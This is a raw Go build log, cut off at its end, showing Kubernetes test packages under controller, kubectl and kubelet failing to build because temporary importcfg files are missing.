build k8s.io/kubernetes/pkg/controller/nodelifecycle/scheduler.test: open /tmp/go-build138919994/b2504/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/nodeipam  build failed \r go build k8s.io/kubernetes/pkg/controller/podautoscaler.test: open /tmp/go-build138919994/b2507/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/nodeipam/ipam  build failed \r fail\tk8s.io/kubernetes/pkg/controller/nodeipam/ipam/cidrset  build failed \r fail\tk8s.io/kubernetes/pkg/controller/nodeipam/ipam/sync  build failed \r go build k8s.io/kubernetes/pkg/controller/podautoscaler/metrics.test: open /tmp/go-build138919994/b2518/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/podgc.test: open /tmp/go-build138919994/b2521/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/nodelifecycle  build failed \r fail\tk8s.io/kubernetes/pkg/controller/nodelifecycle/scheduler  build failed \r go build k8s.io/kubernetes/pkg/controller/replicaset.test: open /tmp/go-build138919994/b2524/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/replication.test: open /tmp/go-build138919994/b2527/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/resourcequota.test: open /tmp/go-build138919994/b2530/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/route.test: open /tmp/go-build138919994/b2533/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/service.test: open /tmp/go-build138919994/b2536/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/serviceaccount.test: open /tmp/go-build138919994/b2539/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/podautoscaler  build failed \r fail\tk8s.io/kubernetes/pkg/controller/podautoscaler/metrics  build failed \r fail\tk8s.io/kubernetes/pkg/controller/podgc  build failed \r fail\tk8s.io/kubernetes/pkg/controller/replicaset  build failed \r fail\tk8s.io/kubernetes/pkg/controller/replication  build failed \r go build k8s.io/kubernetes/pkg/controller/statefulset.test: open /tmp/go-build138919994/b2542/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/resourcequota  build failed \r fail\tk8s.io/kubernetes/pkg/controller/route  build failed \r go build k8s.io/kubernetes/pkg/controller/ttl.test: open /tmp/go-build138919994/b2545/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/ttlafterfinished.test: open /tmp/go-build138919994/b2548/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/service  build failed \r fail\tk8s.io/kubernetes/pkg/controller/serviceaccount  build failed \r go build k8s.io/kubernetes/pkg/controller/volume/attachdetach.test: open /tmp/go-build138919994/b2551/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/volume/attachdetach/cache.test: open /tmp/go-build138919994/b2555/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/volume/attachdetach/metrics.test: open /tmp/go-build138919994/b2559/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/volume/attachdetach/populator.test: open /tmp/go-build138919994/b2562/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/statefulset  build failed \r fail\tk8s.io/kubernetes/pkg/controller/ttl  build failed \r fail\tk8s.io/kubernetes/pkg/controller/ttlafterfinished  build failed \r go build k8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler.test: open /tmp/go-build138919994/b2565/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/volume/attachdetach  build failed \r go build k8s.io/kubernetes/pkg/controller/volume/expand/cache.test: open /tmp/go-build138919994/b2568/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/volume/attachdetach/cache  build failed \r go build k8s.io/kubernetes/pkg/controller/volume/persistentvolume.test: open /tmp/go-build138919994/b2571/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/volume/attachdetach/metrics  build failed \r fail\tk8s.io/kubernetes/pkg/controller/volume/attachdetach/populator  build failed \r go build k8s.io/kubernetes/pkg/controller/volume/pvcprotection.test: open /tmp/go-build138919994/b2574/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/controller/volume/pvprotection.test: open /tmp/go-build138919994/b2577/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/volume/attachdetach/reconciler  build failed \r fail\tk8s.io/kubernetes/pkg/controller/volume/expand/cache  build failed \r go build k8s.io/kubernetes/pkg/credentialprovider.test: open /tmp/go-build138919994/b2580/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/credentialprovider/aws.test: open /tmp/go-build138919994/b2583/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/credentialprovider/azure.test: open /tmp/go-build138919994/b2586/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/credentialprovider/gcp.test: open /tmp/go-build138919994/b2589/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/credentialprovider/rancher.test: open /tmp/go-build138919994/b2592/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/fieldpath.test: open /tmp/go-build138919994/b2595/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubeapiserver/admission.test: open /tmp/go-build138919994/b2598/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubeapiserver/authorizer/modes.test: open /tmp/go-build138919994/b2601/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubeapiserver/options.test: open /tmp/go-build138919994/b2604/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/controller/volume/persistentvolume  build failed \r fail\tk8s.io/kubernetes/pkg/controller/volume/pvcprotection  build failed \r fail\tk8s.io/kubernetes/pkg/controller/volume/pvprotection  build failed \r fail\tk8s.io/kubernetes/pkg/credentialprovider  build failed \r fail\tk8s.io/kubernetes/pkg/credentialprovider/aws  build failed \r fail\tk8s.io/kubernetes/pkg/credentialprovider/azure  build failed \r fail\tk8s.io/kubernetes/pkg/credentialprovider/gcp  build failed \r fail\tk8s.io/kubernetes/pkg/credentialprovider/rancher  build failed \r fail\tk8s.io/kubernetes/pkg/fieldpath  build failed \r go build k8s.io/kubernetes/pkg/kubectl.test: open /tmp/go-build138919994/b2607/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/apply/parse.test: open /tmp/go-build138919994/b2637/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubeapiserver/admission  build failed \r fail\tk8s.io/kubernetes/pkg/kubeapiserver/authorizer/modes  build failed \r go build k8s.io/kubernetes/pkg/kubectl/apply/strategy.test: open /tmp/go-build138919994/b2672/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/apps.test: open /tmp/go-build138919994/b2678/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubeapiserver/options  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd.test: open /tmp/go-build138919994/b2681/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/apply/parse  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/apply/strategy  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/apps  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/annotate.test: open /tmp/go-build138919994/b2755/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/apply.test: open /tmp/go-build138919994/b2760/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/attach.test: open /tmp/go-build138919994/b2764/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/auth.test: open /tmp/go-build138919994/b2767/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/clusterinfo.test: open /tmp/go-build138919994/b2770/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/annotate  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/config.test: open /tmp/go-build138919994/b2773/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/convert.test: open /tmp/go-build138919994/b2776/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/apply  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/attach  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/cp.test: open /tmp/go-build138919994/b2779/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/auth  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/clusterinfo  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/create.test: open /tmp/go-build138919994/b2782/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/delete.test: open /tmp/go-build138919994/b2785/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/config  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/convert  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/describe.test: open /tmp/go-build138919994/b2788/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/diff.test: open /tmp/go-build138919994/b2791/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/cp  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/drain.test: open /tmp/go-build138919994/b2794/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/exec.test: open /tmp/go-build138919994/b2800/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/create  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/delete  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/describe  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/edit.test: open /tmp/go-build138919994/b2797/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/expose.test: open /tmp/go-build138919994/b2803/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/diff  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/get.test: open /tmp/go-build138919994/b2806/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/label.test: open /tmp/go-build138919994/b2809/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/drain  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/edit  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/exec  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/logs.test: open /tmp/go-build138919994/b2812/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/patch.test: open /tmp/go-build138919994/b2815/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/expose  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/plugin.test: open /tmp/go-build138919994/b2818/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/portforward.test: open /tmp/go-build138919994/b2821/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/replace.test: open /tmp/go-build138919994/b2824/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/rollingupdate.test: open /tmp/go-build138919994/b2827/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/get  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/label  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/logs  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/patch  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/plugin  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/rollout.test: open /tmp/go-build138919994/b2830/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/portforward  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/run.test: open /tmp/go-build138919994/b2833/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/scale.test: open /tmp/go-build138919994/b2836/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/set/env.test: open /tmp/go-build138919994/b2842/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/replace  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/rollingupdate  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/rollout  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/set.test: open /tmp/go-build138919994/b2839/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/taint.test: open /tmp/go-build138919994/b2845/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/run  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/scale  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/top.test: open /tmp/go-build138919994/b2848/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/util.test: open /tmp/go-build138919994/b2851/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/util/editor.test: open /tmp/go-build138919994/b2855/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/set  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/set/env  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/taint  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi.test: open /tmp/go-build138919994/b2858/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/cmd/util/openapi/validation.test: open /tmp/go-build138919994/b2861/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/top  build failed \r go build k8s.io/kubernetes/pkg/kubectl/cmd/wait.test: open /tmp/go-build138919994/b2864/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/describe/versioned.test: open /tmp/go-build138919994/b2867/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/generate.test: open /tmp/go-build138919994/b2873/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/util  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/util/editor  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/util/openapi  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/util/openapi/validation  build failed \r go build k8s.io/kubernetes/pkg/kubectl/explain.test: open /tmp/go-build138919994/b2870/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/generate/versioned.test: open /tmp/go-build138919994/b2876/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/polymorphichelpers.test: open /tmp/go-build138919994/b2879/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/cmd/wait  build failed \r go build k8s.io/kubernetes/pkg/kubectl/proxy.test: open /tmp/go-build138919994/b2882/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/scheme.test: open /tmp/go-build138919994/b2885/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/util.test: open /tmp/go-build138919994/b2888/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/describe/versioned  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/explain  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/generate  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/generate/versioned  build failed \r go build k8s.io/kubernetes/pkg/kubectl/util/event.test: open /tmp/go-build138919994/b2891/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/polymorphichelpers  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/proxy  build failed \r go build k8s.io/kubernetes/pkg/kubectl/util/hash.test: open /tmp/go-build138919994/b2894/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/scheme  build failed \r go build k8s.io/kubernetes/pkg/kubectl/util/i18n.test: open /tmp/go-build138919994/b2897/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubectl/util/slice.test: open /tmp/go-build138919994/b2900/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/util  build failed \r go build k8s.io/kubernetes/pkg/kubectl/util/term.test: open /tmp/go-build138919994/b2903/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/util/event  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/util/hash  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/util/i18n  build failed \r go build k8s.io/kubernetes/pkg/kubectl/validation.test: open /tmp/go-build138919994/b2906/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet.test: open /tmp/go-build138919994/b2909/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/util/slice  build failed \r go build k8s.io/kubernetes/pkg/kubelet/apis/config.test: open /tmp/go-build138919994/b2918/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/apis/config/scheme.test: open /tmp/go-build138919994/b2921/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/apis/config/validation.test: open /tmp/go-build138919994/b2925/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubectl/util/term  build failed \r fail\tk8s.io/kubernetes/pkg/kubectl/validation  build failed \r go build k8s.io/kubernetes/pkg/kubelet/apis/podresources.test: open /tmp/go-build138919994/b2928/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/cadvisor.test: open /tmp/go-build138919994/b2931/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/certificate.test: open /tmp/go-build138919994/b2934/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/certificate/bootstrap.test: open /tmp/go-build138919994/b2937/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/checkpoint.test: open /tmp/go-build138919994/b2940/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/checkpointmanager.test: open /tmp/go-build138919994/b2943/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/client.test: open /tmp/go-build138919994/b2948/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/cloudresource.test: open /tmp/go-build138919994/b2951/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/cm.test: open /tmp/go-build138919994/b2954/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/cm/cpumanager.test: open /tmp/go-build138919994/b2957/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/cm/cpumanager/state.test: open /tmp/go-build138919994/b2960/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/cm/cpumanager/topology.test: open /tmp/go-build138919994/b2964/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/cm/cpuset.test: open /tmp/go-build138919994/b2967/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/cm/devicemanager.test: open /tmp/go-build138919994/b2970/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/config.test: open /tmp/go-build138919994/b2973/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/configmap.test: open /tmp/go-build138919994/b2976/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/container.test: open /tmp/go-build138919994/b2979/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/apis/config  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/apis/config/scheme  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/apis/config/validation  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/apis/podresources  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/cadvisor  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/certificate  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/certificate/bootstrap  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/checkpoint  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/checkpointmanager  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/client  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/cloudresource  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/cm  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/cm/cpumanager  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/cm/cpumanager/state  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/cm/cpumanager/topology  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/cm/cpuset  build failed \r go build k8s.io/kubernetes/pkg/kubelet/custommetrics.test: open /tmp/go-build138919994/b2984/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/cm/devicemanager  build failed \r go build k8s.io/kubernetes/pkg/kubelet/dockershim.test: open /tmp/go-build138919994/b2987/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/config  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/configmap  build failed \r go build k8s.io/kubernetes/pkg/kubelet/dockershim/libdocker.test: open /tmp/go-build138919994/b2991/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/dockershim/network/cni.test: open /tmp/go-build138919994/b2994/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/container  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/custommetrics  build failed \r go build k8s.io/kubernetes/pkg/kubelet/dockershim/network/hairpin.test: open /tmp/go-build138919994/b2998/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/dockershim/network/hostport.test: open /tmp/go-build138919994/b3001/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/dockershim/network/kubenet.test: open /tmp/go-build138919994/b3004/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/dockershim/network/testing.test: open /tmp/go-build138919994/b3010/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/envvars.test: open /tmp/go-build138919994/b3013/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/dockershim  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/dockershim/libdocker  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/dockershim/network/cni  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/dockershim/network/hairpin  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/dockershim/network/hostport  build failed \r go build k8s.io/kubernetes/pkg/kubelet/eviction.test: open /tmp/go-build138919994/b3016/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/images.test: open /tmp/go-build138919994/b3019/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/kubeletconfig.test: open /tmp/go-build138919994/b3023/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/dockershim/network/kubenet  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/dockershim/network/testing  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/envvars  build failed \r go build k8s.io/kubernetes/pkg/kubelet/kubeletconfig/checkpoint.test: open /tmp/go-build138919994/b3026/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/kubeletconfig/checkpoint/store.test: open /tmp/go-build138919994/b3030/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/eviction  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/images  build failed \r go build k8s.io/kubernetes/pkg/kubelet/kubeletconfig/configfiles.test: open /tmp/go-build138919994/b3033/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/kubeletconfig/util/files.test: open /tmp/go-build138919994/b3036/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/kuberuntime.test: open /tmp/go-build138919994/b3039/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/kubeletconfig  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/kubeletconfig/checkpoint  build failed \r go build k8s.io/kubernetes/pkg/kubelet/kuberuntime/logs.test: open /tmp/go-build138919994/b3044/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/lifecycle.test: open /tmp/go-build138919994/b3047/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/kubeletconfig/checkpoint/store  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/kubeletconfig/configfiles  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/kubeletconfig/util/files  build failed \r go build k8s.io/kubernetes/pkg/kubelet/logs.test: open /tmp/go-build138919994/b3050/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/metrics/collectors.test: open /tmp/go-build138919994/b3053/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/mountpod.test: open /tmp/go-build138919994/b3057/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/network/dns.test: open /tmp/go-build138919994/b3060/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/nodelease.test: open /tmp/go-build138919994/b3063/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/nodestatus.test: open /tmp/go-build138919994/b3066/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/pleg.test: open /tmp/go-build138919994/b3069/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/kuberuntime  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/kuberuntime/logs  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/lifecycle  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/logs  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/metrics/collectors  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/mountpod  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/network/dns  build failed \r go build k8s.io/kubernetes/pkg/kubelet/pod.test: open /tmp/go-build138919994/b3072/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/preemption.test: open /tmp/go-build138919994/b3075/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/nodelease  build failed \r go build k8s.io/kubernetes/pkg/kubelet/prober.test: open /tmp/go-build138919994/b3078/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/prober/results.test: open /tmp/go-build138919994/b3081/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/qos.test: open /tmp/go-build138919994/b3084/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/remote.test: open /tmp/go-build138919994/b3087/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/nodestatus  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/pleg  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/pod  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/preemption  build failed \r go build k8s.io/kubernetes/pkg/kubelet/runtimeclass.test: open /tmp/go-build138919994/b3091/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/secret.test: open /tmp/go-build138919994/b3094/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/server.test: open /tmp/go-build138919994/b3097/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/server/portforward.test: open /tmp/go-build138919994/b3100/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/server/stats.test: open /tmp/go-build138919994/b3103/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/prober  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/prober/results  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/qos  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/remote  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/runtimeclass  build failed \r go build k8s.io/kubernetes/pkg/kubelet/server/streaming.test: open /tmp/go-build138919994/b3106/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/secret  build failed \r go build k8s.io/kubernetes/pkg/kubelet/stats.test: open /tmp/go-build138919994/b3109/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/status.test: open /tmp/go-build138919994/b3112/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/sysctl.test: open /tmp/go-build138919994/b3115/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/server  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/server/portforward  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/server/stats  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/server/streaming  build failed \r go build k8s.io/kubernetes/pkg/kubelet/token.test: open /tmp/go-build138919994/b3118/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/types.test: open /tmp/go-build138919994/b3121/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/util.test: open /tmp/go-build138919994/b3124/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/util/cache.test: open /tmp/go-build138919994/b3127/importcfg: no such file or directory\r go build k8s.io/kubernetes/pkg/kubelet/util/format.test: open /tmp/go-build138919994/b3130/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/pkg/kubelet/stats  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/status  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/sysctl  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/token  build failed \r fail\tk8s.io/kubernetes/pkg/kubelet/types  build failed \r go build 